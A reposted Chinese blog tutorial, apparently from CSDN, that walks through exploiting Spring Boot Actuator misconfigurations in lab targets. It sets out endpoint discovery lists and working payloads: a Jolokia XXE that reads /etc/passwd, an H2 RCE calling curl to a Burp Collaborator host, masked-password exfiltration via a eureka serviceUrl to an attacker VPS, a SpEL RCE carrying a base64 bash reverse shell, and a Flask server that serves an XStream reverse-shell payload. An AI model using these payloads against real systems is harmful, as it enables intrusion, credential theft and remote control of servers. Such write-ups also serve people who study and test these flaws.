iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > JAVA >SpringBoot漏洞
  • 710
分享到

SpringBoot漏洞

springbootspringjava 2023-09-22 22:09:26 710人浏览 薄情痞子
摘要

spring简介 spring 是 JAVA WEB 里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是 Spring Boot Actuators 反序列化。 Actuators介绍 Spring Boot 基本上是 Sprin

spring简介

spring 是 JAVA WEB 里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是 Spring Boot
Actuators 反序列化。

Actuators介绍

Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 SpringBoot 提供的用来对应用系统进行
自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。

常见的端口信息

Spring Boot 1.x 版本默认内置路由的根路径以 / 开始, 2.x 则统一以 /actuator 开始

53. Endpoints:端口信息

SpringBoot漏洞发现

框架特征

绿树叶,和404报错

路由知识

有些程序员会自定义 /manage 、 /management 、项目 App 相关名称为 spring 根路径
Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

01.路由地址及接口调用详情泄漏

开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等
直接访问以下两个 swagger 相关路由,验证漏洞是否存在

/v2/api-docs
/swagger-ui.html

其他一些可能会遇到的 swagger、swagger codegen、swagger dubbo 等相关接口路由

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.JSON
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 "默认安全" 来讲, 不暴露出这些信息更加安全。

对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。

02.配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置.
可能因为配置不当而暴露的默认内置路由参考:

https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-readyendpointsHttps://GitHub.com/danielmiessler/SecLists/blob/master/Discovery/WEB-Content/spring-boot.txt

其中对寻找漏洞比较重要接口的有:

01./env 、 /actuator/env

GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 passWord 写成 psasword、pwd 时,会泄露密码明文;
同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

02./refresh 、 /actuator/refresh

POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相 关 RCE 漏洞。

/restart 、 /actuator/restart

暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请 求 /restart 接口重启应用来触发相关 RCE 漏洞。

/jolokia 、 /actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩

的重要隐私信息的明文等。

/trace 、 /actuator/httptrace

一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效 用户或管理员的 cookie、Jwt token 等信息。

快速fuzz常见端点接口: https://wfuzz.readthedocs.io/en/latest/

wfuzz -w spring-endpoint.txt --sc 200 -f out.html,html http://ip:portspring-endpoint.txt :收集的spring端点接口路径的字典--sc 200 : 只显示响应状态码为200的请求信息--hc 404 : 不显示响应状态码为404的请求信息-f :指定文件类型xxx.html,html : 输出文件,输出格式

环境搭建

安装Spring 1.X

下载项目源码
git clone https://github.com/veracode-research/actuator-testbed.git

修改src/main/resources/application.properties

将server.address=127.0.0.1     修改为0.0.0.0

 3.运行Spring

在actuator-testbed目录下执行命令:

mvn install

mvn spring-boot:run

 出现以下界面,不要退出和关闭界面

添加Mysql连接配置:

vim src/main/resources/application.properties

添加以下代码

spring.datasource.name=druidDataSource
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://localhost:3306/sakila?characterEncoding=utf-
8&allowMultiQueries=true&autoReconnect=true
spring.datasource.username=admin
spring.datasource.password=112233

路由知识

有些程序员会自定义 /manage 、 /management 、项目 App 相关名称为 spring 根路径
2.Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
3.Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

实验环境

靶机:kali+springboot  IP:XXX.XXX.XXX.130

攻击机:kali                   IP:XXX.XXX.XXX.152

漏洞复现

自动化检测脚本

GitHub - rabbitmask/SB-Actuator: Spring Boot Actuator未授权访问【XXE、RCE】单/多目标检测

一、Jolokia XXE任意文件读取

漏洞检测:jolokia/list

查看jolokia/list中存在的Mbeans,是否存在logback 库提供的reloadByURL方法

靶机上创建文件:logback.xml和ian.dtd

%remote;%int;]>&trick;

ian.dtd

">

在文件目录下,使用python3开启web服务 python -m http.server 调用目标服务器访问

 4.远程访问logback.xml文件

攻击机发起请求:

http://172.16.115.130:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/172.16.115.130:8000!/logback.xml

收到请求

成功利用xxe读取到etc/passwd文件内容

漏洞利用 - Spring Boot Actuator H2 RCE 

漏洞环境搭建

下载漏洞环境

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

漏洞简介

 cd spring-boot-actuator-h2-rce # 进入目录

Docker build -t spaceraccoon/spring-boot-rce-lab .

docker run -p 8086:8080 -t spaceraccoon/spring-boot-rce-lab。#端口任意

登陆网站,1.x版本:http://ip:port/env     2.x版本:http://ip:port/actuator/env

打开burp,拦截网站请求。

发送至Request模块,修改请求为:POST 

修改:Content-Type:application/json

#2.x版本、传参格式为:json

输入以下poc

 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext())

{return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl t82y8m52x92ka5hdd121ivn2ptvpje.burpcollaborator.net');"}

将curl地址,更改为burp地址

#点击burp,选择burp collaborator client

返回结果为200,传参成功

刷新重启

点击poll now,出现dns解析结果

此环境漏洞使用docker搭建,所以无法执行反弹shell命令,在实战中可以执行反弹shell命令.

漏洞利用 - env敏感信息脱星

利用条件

可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)

攻击机:XXX.XXX.XXX.130

靶    机:XXX.XXX.XXX.152

开启环境

cd actuator-testbed

mvn install

mvn spring-boot:run

一: 找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

找到spring.datasource.password:

漏洞利用

poc

spring 1.x:
POST /env
Content-Type: application/x-www-fORM-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x:
POST /actuator/env

Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

#your-vps-ip 更改为攻击机ip 地址。

burp拦截请求,发送至request,修改请求为:POST

使用poc:

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

点击send发送:

返回结果,设置成功

刷新网页,查看设置是否成功

打开监听

刷新配置

spring 1.x:
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x:
POST /actuator/refresh Content-Type: application/json

此时监听收到以下内容

 4.base64解码

Authorization: Basic dmFsdWU6MTEyMjMz

将红色部分使用 base64解码,得到明文如下:

value:112233

远程代码执行漏洞复现

一、whitelabel error page SpEL RCE

漏洞环境:repository/springboot-spel-rce

项目地址:git clone https://github.com/LandGrey/SpringBootVulExploit.git

 修改 SpringBootVulExploit/repository/springboot-spelrce/src/main/resources/application.properties

vim application.properties

#注释第二行,添加server.address=0.0.0.0

进入目录,编译启动

mvn spring-boot:run

访问靶场

利用条件

spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0。
至少知道一个触发 springboot 默认错误页面的接口及参数名。

利用方法

1.找到一个正常传参处
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后续 payload 都将会在参数 id 处尝试。

执行 SpEL 表达式

输入/article?id=${8*8} ,如果发现报错页面将 8*8的值 64计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由以下字符串格式转换成 0x** java 字节形式,方便执行任意代码:

# coding: utf-8result = ""target = 'touch /tmp/web'for x in target:   result += hex(ord(x)) + ","print(result.rstrip(','))转换后:0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x77,0x65,0x62

执行 touch  /tmp/web 命令: 

http://172.16.115.152:9091/article?id==${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x77,0x65,0x62}))}

命令已经执行,但是无法查看

执行bash反弹shell命令

bash -i >& /dev/tcp/172.16.115.130/8888 0>&1   转换后:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84ODg4IDA+JjHCoAo=书写为以下格式:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84ODg4IDA+JjHCoAo=}|{base64,-d}|{bash,-i}

# coding: utf-8

result = ""
target = 'XXXXXXX'
for x in target:
   result += hex(ord(x)) + ","
print(result.rstrip(','))

#将红色部分替换为以下代码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84ODg4IDA+JjHCoAo=}|{base64,-d}|{bash,-i}

将转码后的bash命令,使用工具,生成byte字节码。

 攻击机监听端口:

 执行以下payload:

/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4e,0x7a,0x49,0x75,0x4d,0x54,0x59,0x75,0x4d,0x54,0x45,0x31,0x4c,0x6a,0x45,0x7a,0x4d,0x43,0x38,0x34,0x4f,0x44,0x67,0x34,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x48,0x43,0x6f,0x41,0x6f,0x3D,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

 执行成功

监听返回结果,反弹shell没有成功(检测几次后无果)

漏洞原理

springboot处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中

此时 URL 中的参数值会用 parseStringValue 方法进行递归解析

其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrormvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

eureka xstream deserialization RCE

进入/web/SpringBootVulExploit/repository/springboot-eureka-xstream-rce目录

编辑 application.properties 文件

vim application.properties

#注释第二行,添加server.address=0.0.0.0

2.编译启动:mvn spring-boot:run

访问靶场

 利用条件

可以 POST 请求目标网站的 /env 接口设置属性
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)
目标使用的 eureka-client  < 1.8.7(通常包含在 spring-cloud-starter-netflix-eurekaclient 依赖中)
目标可以请求攻击者的 HTTP 服务器(请求可出外网)

利用方法

架设响应恶意 XStream payload 的网站
提供一个依赖 flask 并符合要求的 Python 脚本示例,作用是利用目标 linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

from flask import Flask, Responseapp = Flask(__name__)@app.route('/', defaults={'path': ''})@app.route('/', methods = ['GET', 'POST'])def catch_all(path):    xml = """                                                                                                                                                      /bin/bash                      -c                      bash -i >& /dev/tcp/172.16.115.130/6688 0>&1                                        false                                                                                        java.lang.ProcessBuilder                    start                                                        foo                                foo                                                                                              """    return Response(xml, mimetype='application/xml')if __name__ == "__main__":    app.run(host='0.0.0.0', port=8088)

开启web服务

python3 shell.py

开启监听

4.设置 eureka.client.serviceUrl.defaultZone 属性

 eureka.client.serviceUrl.defaultZone=http://172.16.115.130:8088/example

spring1.X不需要修改参数

#GET和POST请求,都可以反弹shell

spring2.X

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}

刷新配置

spring1.X

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring2.X

POST /actuator/refresh
Content-Type: application/json

反弹shell

POST和GET请求,都可以反弹shell,但靶场只能反弹一次,第二次尝试无法反弹shell。

来源地址:https://blog.csdn.net/weixin_51151498/article/details/128577627

--结束END--

本文标题: SpringBoot漏洞

本文链接: https://www.lsjlt.com/news/415818.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • SpringBoot漏洞
    Spring简介 spring 是 java web 里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是 Spring Boot Actuators 反序列化。 Actuators介绍 Spring Boot 基本上是 Sprin...
    99+
    2023-09-22
    spring boot spring java
  • phpmyadmin漏洞属于什么漏洞
    phpmyadmin 易受多种漏洞影响,包括:1. sql 注入漏洞;2. 跨站点脚本 (xss) 漏洞;3. 远程代码执行 (rce) 漏洞;4. 本地文件包含 (lfi) 漏洞;5....
    99+
    2024-04-08
    mysql phpmyadmin
  • 【url跳转漏洞】--逻辑漏洞
    文章目录 预备知识1.对于URL跳转的实现一般会有几种实现方式:2.如果jumpto没有任何限制,那么恶意用户可以构造并提交3.漏洞通常发生在以下几个地方:4.常见的可能产生漏洞的参数名:漏洞...
    99+
    2023-09-02
    php 前端 javascript
  • XSS漏洞总结和漏洞复现
    XSS漏洞总结和漏洞复现 XSS漏洞概述:类型一:反射型类型二:存储型类型三:DOM型 复现20字符短域名绕过一、安装BEEFhttps://blog.csdn.net/weixin_45...
    99+
    2023-09-28
    xss php 前端
  • web漏洞之文件上传漏洞
    文章目录 一、漏洞原因二、漏洞危害三、漏洞利用1.三个条件2.利用方式3.绕过方式a.绕过JS验证① BP绕过② F12绕过③ 菜刀上传实操 b.绕过MIME-Type验证c.绕过黑名...
    99+
    2023-08-31
    前端 web安全 网络
  • 【Web漏洞探索】命令注入漏洞
    【Web漏洞探索】命令注入漏洞 文章目录 【Web漏洞探索】命令注入漏洞一、什么是命令注入漏洞二、命令注入漏洞成因三、漏洞攻击利用手法命令执行函数命令执行连接符 四、过滤绕过绕过空格过...
    99+
    2023-09-07
    前端 安全 服务器
  • IIS7.5文件解析漏洞&&Apache解析漏洞&&Nginx文件解析漏洞&&
    实验原理 文件上传使用白名单做限制,只能上传图片文件,导致脚本文件无法上传,上传图片马绕过白名单文件上传的验证,但是图片马又无法解析,利用IIS7.5文件解析漏洞的特点:任意文件名/任意文件名.php,从而解析脚本文件。 实验步骤 登录操作...
    99+
    2023-09-16
    php 开发语言
  • iis常见漏洞(中间件常见漏洞)
    目录 1.IIS 6.x 解析漏洞2. IIS 7.x 解析漏洞3. HTTP.SYS远程代码执行漏洞MS15-0344. IIS-PUT任意文件写入5. 短文件名漏洞 1.II...
    99+
    2023-09-02
    php 安全 服务器
  • Springboot之Actuator的渗透测试和漏洞修复
    Actuator 的 REST 接口 Actuator监控分成两类:原生端点和用户自定义端点;自定义端点主要是指扩展性,用户可以根据自己的实际应用,定义一些比较关心的指标,在运行期进行监控。 原生端点是在应用程序里提供众多 Web 接口,通...
    99+
    2023-08-22
    spring boot java
  • 漏洞复现 || eGroupWare spellchecker.php 远程命令执行漏洞
    0x01 阅读须知 我爱林的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统...
    99+
    2023-09-07
    php 开发语言 漏洞复现 网络安全 安全
  • log4j漏洞详解
    一.什么是log4j log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。 使用方法:                 1.pom引入依赖              ...
    99+
    2023-08-31
    java 开发语言 分布式
  • ThinkPHP历史漏洞
    文章目录 ThinkPHP简介Thinkphp历史漏洞Thinkphp 2.x 任意代码执行漏洞漏洞描述影响版本漏洞复现 Thinkphp5.0.23远程代码执行漏洞(CVE-2018-2...
    99+
    2023-09-04
    安全 web安全 Thinkphp 渗透测试 php
  • 未授权漏洞
    目录 0x01、什么是未授权漏洞 0x02、SpringBoot Actuator 未授权访问 0x03 SwaggerUI未授权访问漏洞 0x01、什么是未授权漏洞 未授权访问漏洞可以理解为需...
    99+
    2023-10-01
    java 开发语言 web安全 网络安全
  • 网站漏洞修复之Metinfo 文件上传漏洞
    Metinfo CMS系统被爆出网站存在漏洞,可上传任意文件到网站根目录下,从而使攻击者可以轻易的获取网站的webshell权限,对网站进行篡改与攻击,目前该网站漏洞影响范围是Metinfo 6.2.0最新版本,以及以前的所有Metinfo...
    99+
    2023-06-03
  • CSRF漏洞复现
    目录标题 原理如何实现和xss区别危害CSRF实战(pikachu)dvwa靶场 CSRF(Cross Site Request Forgery)。跨站请求伪造 原理 攻击者会伪造一...
    99+
    2023-09-06
    csrf php 服务器
  • Apache漏洞复现
    目录 1.Apache多后缀解析漏洞复现(apache_parsing_vulnerability)漏洞防御 2.Apache换行解析漏洞复现(CVE-2017-15715)漏洞防御 ...
    99+
    2023-09-01
    apache php 开发语言
  • nmap漏洞扫描
    预计更新 第一章 nmap漏洞扫描 nmap漏洞扫描的基本原理和技术 nmap漏洞扫描的常用选项和参数 nmap漏洞扫描的实战案例 第二章 nmap网络探测和映射 nmap网络探测和映射的基本原理和技...
    99+
    2023-09-22
    安全 web安全 php
  • 漏洞原理——ssrf
    一、什么是SSRF 1、简单了解 SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的...
    99+
    2023-09-09
    安全
  • tomcat漏洞修复
    可通过HTTP获取远端WWW服务信息 漏洞详情: 本插件检测远端HTTP Server信息。这可能使得攻击者了解远程系统类型以便进行下一步的攻击。 该漏洞仅是为了信息获取,建议隐藏敏感信息。 解决方法: 隐藏版本号 进入$CAT...
    99+
    2023-09-30
    tomcat apache 服务器 Powered by 金山文档
  • thinkphp5.0漏洞修复
    thinkphp5.0漏洞修复 0版本 文件位置 /thinkphp/library/think/App.php if (!preg_match('/^[A-Za-z][\w\.]*$/', $co...
    99+
    2023-10-18
    php 前端
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作